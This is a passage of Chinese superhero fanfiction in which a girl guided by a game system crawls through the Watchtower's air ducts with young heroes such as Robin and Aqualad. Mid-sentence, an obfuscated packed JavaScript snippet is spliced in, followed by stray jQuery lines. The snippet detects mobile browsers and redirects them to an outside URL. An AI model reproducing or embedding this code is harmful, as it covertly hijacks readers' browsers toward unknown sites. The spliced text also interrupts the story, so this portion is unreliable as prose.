瞭望塔是「正义联盟」的基地。
毕竟是超级英雄们汇聚的地方，阿黛尔本以为自己会看到琳琅满目的高科技，会看到各种各样的超级英雄，会升起宛如看到科幻电影里的炫技镜头时一样的惊叹，或许也会听到‘欢迎回来，你们又一次拯救了民众，英雄们’之类的话。
但她没想到，到达瞭望塔后，少年英雄们要做的第一件事居然是：爬通风管道。
……
是的，他们打算模仿在栏杆扶手上吧嗒吧嗒蹿行的小熊猫——而且他们确实大部分都是红色——鬼鬼祟祟地爬通风管道。
阿黛尔坐在长凳上，缓缓确认：“通风管道？”
罗宾正在为她佩戴护膝。
大概是因为阿黛尔体质不好得过于明显，让人担忧爬行一段都会在膝盖处留下淤青，在说出‘爬通风管道’的计划后，他只看了她几眼，就解开自己的护膝，半跪在她身侧，为她佩戴。
佩戴的时候，罗宾很绅士，有意收敛目光，让视线的重点大部分都在绿色的护膝上，在调整护膝的尺寸、收紧带子时，他只在必要时才触碰她的腿。
他低着头，鲜艳的黄色披风从微垂的肩头落下，像是流动的金子液体，与之相对的，阿黛尔的红色长发垂下，悬在腿侧，时不时能轻轻掠过他的手背。
像是蛇悠闲缠绕住树枝时，无意间垂落下来一截的尾巴尖。
隔着一层制服手套，罗宾应该没什么感觉，阿黛尔没有管，只是瞥了瞥，但在几秒后，她看到罗宾的多米诺面具动了动。
他似乎笑了一下。
「调情」坚定地弹着，又忽然往下移了些，从遮挡面容到遮挡肩膀以下。
阿黛尔的视线随着提示而下移，罗宾下方的制服很短，又被上半身挡住，在绿色护膝也解下后，她从上至下地看，只能看到他一部分隐着肌肉线条的腿部，看不到短裤。
看起来，他有一点像‘上方严严实实，下方什么都没穿’。
……等等。
难道，这就是「调情」一直在弹的原因？
怪不得！
阿黛尔恍然：怪不得除了最开始的那句‘爱丽丝？！’，罗宾只要一开口说话，系统就弹「调情」，可她都挠手心了却只是「表示友好」，原来是罗宾的制服问题。
罗宾对浮在自己脸上的提示浑然不觉，他把护膝绑得很紧，绑阿黛尔绑完一个护膝，又把自己的另一个护膝解下来，与此同时，有提示弹出。
[「罗宾」正在注视你。]
听到提示，阿黛尔抽空往下瞥了一眼，发现罗宾在看她的脚尖。
在战场上，她曾赤脚站立片刻，按理而言应该染上灰尘，但现在，脚底和小腿却干干净净，没有一点灰尘。
察觉到注视，罗宾抬起头，想了想，对若有所思的阿黛尔露出笑，飞快地道：“嗯……其实是因为外星敌人入侵，大家都很忙，没空管我们，所以我们才需要从通风管道去休息室……”
旁边，一到瞭望塔就低头玩手机的快手欢呼一声，打断罗宾的话：“鹰侠没发现我们跑出去了，他还在边看监控边吃爆米花！酷！”
“哇，居然真的没发现？”闪电小子在快手一侧出现，探头探脑地看手机，“这边的通风管道真的没摄像头？这可是设计漏洞，怪不得罗宾那么肯定我们偷跑去救援不会被发现。第一次来瞭望塔就找到了监控死角，不愧是蝙蝠侠的助手！”
海少侠正在检查通风管道口，他在通道口处蹲着，闻言，看了看阿黛尔和罗宾，低声提醒：“其实，假如你们刚刚有听他们说话的话，就会听到罗宾正试图在新女孩儿面前掩饰我们是偷跑出去玩的……”
“嗯哼，”快手没回头看罗宾，若无其事地吹口哨，“在这种只需要再过几个小时就会被识破的问题上耍帅，就是会被无情揭穿。”
“不过‘趁大人不注意，从通风管道偷跑出去玩’听起来确实很逊，在女孩儿面前说不出口，但‘偷跑出去拯救民众’就很酷嘛！完全可以直接说。”
闪电小子左看看，右看看，用一种在战斗中询问下一步行动方案的语气，悄悄问：“呃，所以，我们要协助罗宾掩饰吗？”
现在才问这个问题吗，你们已经清清楚楚地说了出来，‘偷跑出来’起码说了五遍……
阿黛尔：“。”
她低头，和片刻前还一本正经地说着些‘大家忙，所以我们才要走通风管道，自助回休息室’的罗宾对视。
“……不是‘耍帅’，”几秒后，罗宾也低下头，叹气着调整护膝带子，听起来有点有气无力，“是试图让我们听起来靠谱一点。”
又对阿黛尔解释，“瞭望塔有很多科技产品，设计又尽量简洁，和一部分实验室的风格相似，我担心你可能会不适应。”
“我想，有可靠的人在身边，你或许会更安心一点。”
他调整完带子，抬头，似乎是对阿黛尔眨了眨眼，眼具上那块遮挡瞳孔的白色部分扩大了几分，“拜托，请告诉我，在我的‘不专业行为‘被同伴无情‘揭穿’后，你没有怀疑自己选错了信任对象？”
是在开玩笑。
罗宾是在用开玩笑语气，轻描淡写地略过‘在女孩儿面前耍帅’这个可能会令阿黛尔不自在的点。
很贴心。
但误解他本意的「调情」提示再次上移，坚定地悬在他的脸上，显得有点好笑，又有点可爱。
阿黛尔眨了眨眼睛，压下唇角，花了几秒的时间去忍笑。
大约是这几秒的没有回答令人误会，神奇少女用熟稔的口吻开口：“别理他们，男孩们就是这样，总是会突然稀奇古怪一下，比如走着走着迎面撞上消防栓？”
但她的语气有点不确定，显然不是十分肯定，又有点不好意思，“我其实可以理解？”
“我可以摸摸你的耳朵吗？”她盯着阿黛尔的红发看，在红发间找到一点白色，“你的耳朵好像不是人类的皮肤，我似乎看到一点类似鳞片的反光？”
咦？
阿黛尔立刻侧首过去，让神奇少女方便触碰，“鳞片？”
[「神奇少女」正在注视你。]
“是有点像小蛇的细密鳞片。”神奇少女调整手套，用露出来的指尖拨开阿黛尔红色的发丝，轻轻去碰白色的耳尖，又纠正自己，“哦，应该是‘小鱼’。”
她的指腹很热。
又或者是阿黛尔的体温很低。
在被触碰到的那一瞬间，阿黛尔下意识动了动，她的耳尖抖动一下，和神奇少女顿住的指尖错开，身体也不由自主地倾斜着远离。
罗宾已经重复着‘男孩们就是这样，总是稀奇古怪’低下头，正在扣护膝的最后一层，察觉到动作，他看来一眼，用膝盖抵住阿黛尔的脚踝，微不可察地控制住她远离的范畴，继续扣。
神奇少女收回手，若有所思：“不，不是鳞片，是皮肤的触感，只是更细腻一点。”
像是鱼尾鳍附近那一层薄而柔软鳞片的触感。
“好吧，女士们，专业护膝已佩戴完毕，我们可以进行不专业的通风管道潜行了，”罗宾站起来，“等到休息室再探索身体的秘密如何？”
话是如此说的，但系统的提示是：
[「罗宾」正在注视你。]
‘注视’提示所代表的含义，大约是‘对方正在观察你’，阿黛尔推测如此。
除了「调情」，罗宾弹的最多的就是注视，还有一个没有直接出现的、代号是「蝙蝠侠」的超级英雄通过罗宾在观察她。
——优秀的超级英雄，居然会这么谨慎吗？
阿黛尔边认真思考，记下知识点，边开始爬通风管道。
因为制服问题，她是倒数第二进入通风管道的，在后面的是神奇少女，在她前面的则是罗宾。
罗宾的黄披风很长，在他膝行时垂在地上，像是孔雀垂下了长长的尾巴，在伸手将阿黛尔拉进管道里后，他用温和、很难让人产生不适的语气说：“如果体力不支，可以压在我的披风上，好吗？”
他微笑，“它可没少在我坠落的时候救我，很结实。”
这个提醒是很有必要的。
阿黛尔低估了瞭望塔的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16298886|182412||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
面积，更远远低估了通风管道的长度。
他们爬行了十多分钟，才爬到休息室附近。
在此之前，其实阿黛尔有过怀疑：这几位少年英雄真的是偷跑出来的吗？真的不是‘大人们睁一只眼闭一只眼’的那种偷跑吗？成年的超级英雄们真的没发现他们已经偷溜到战场上打了两轮吗？
并认为大人们大概率在睁一只眼闭一只眼。
但在通风管道里左转十三次，右转七次，向下滑两层，向上攀爬五次后，她开始倾向于大人们是真没发现通风管道里有一窝小熊猫在钻来钻去。
毕竟这些通风管道看起来完全是一个针对敌人的‘看，这里是通风管道，想入侵？进来准没错！’陷阱，仿佛是冲着想让敌人爬得头晕脑胀而建的。
爬行中，阿黛尔的气息在加重，有气流从唇畔溢出，和护膝蹭过地面、指甲轻点地面的声音重叠在一起，在狭小近乎封闭的通风管道里回荡出层层交织的效果。
有一点奇异的是，声波交叠中，她的听力越发敏锐，感知似乎也提升了很多，在张口时，她的舌尖能闻嗅到一种属于海洋的淡淡清香。
不浓重，但很鲜。
像生鱼片。
追踪着这种气味，阿黛尔遥遥听到了前方的声音：“……有吗？”
是海少侠的声音。
罗宾没有爬太快，时不时停一下等阿黛尔，闪电小子早已在第一个进入通风管道的瞬间消失，大概已经到休息室了，海少侠和快手则正常前行，和阿黛尔的距离比较远，大约有二三十米。
这个距离，在他们压低声音交谈时，没有使用技能的阿黛尔本应听不见的，但在自己制造出来的杂音中，她舔了舔唇，在听见海少侠的声音后，又听见了快手的声音：“当然，你紧张得要命。”
“那女孩确实漂亮，但还不至于到让人紧张……好吧，确实会让人紧张，但还不至于让人紧张半个小时吧？你就应该学学罗宾侃侃而谈的样子，什么‘亲爱的，我的披风为你敞开’，啧。”
“你完全可以说‘嗨，宝贝，我敢打赌你的尾巴一定很漂亮，你愿意给我一个抱你通过管道的荣幸吗？’，你可是海底人！”
系统的提示弹出：[「海少侠」的心跳加快了。]
“呃，”海少侠发出短促的音节，“不、”
快手打断：“海底人喜欢鱼很正常！”
“不，”海少侠说，“其实有一段时间我比较怕鱼……不过有点类似。”
他说：“面对她时，我的感觉和曾经面对鱼时有点类似，会警惕、紧张屏息、血液流动加快、心跳加快……就像是……”
[「海少侠」的心跳加快了。]
从管道回荡而来的声音断断续续，越来越低，带着不确定性，“就像是面对捕食者？”
“我觉得，我应该不是、”
“嘿！”快手猛地拍了一下海少侠的肩膀，是用弓拍的，“哥们，你心动了！”
海少侠：“……什么？”
[「海少侠」的心跳加快了。]
“哥们，”快手像是被逗乐了，“你心动了！”
“你不会根本没发现吧？你以为我刚刚说的那些搭讪话是在说什么，正视自己吧，你心动了！听听，紧张，呼吸不过来，心跳加快，任何一个人听到都会恭喜你：好了，你的心动对象出现了，快去搭讪吧，小子！”
……
咦？
什么叽里咕噜的？
可能是因为刚刚战斗过，又爬行太久，除了深深的疲倦，阿黛尔还有一点饿，在舌尖闻嗅到的清香中，她花费几秒才处理完快手活力十足声音里的信息量，开始思考：海少侠是系统分配给玩家的「恋人」吗？
听起来，他好像会在快手的建议下追求她……
不过这一点可以在他真的追求后再思考。
现在，阿黛尔发现她饿了。
闻海少侠闻的。
[「海少侠」的心跳加快了。]
[「海少侠」正在注视你。]
[「海少侠」的心跳加快了。]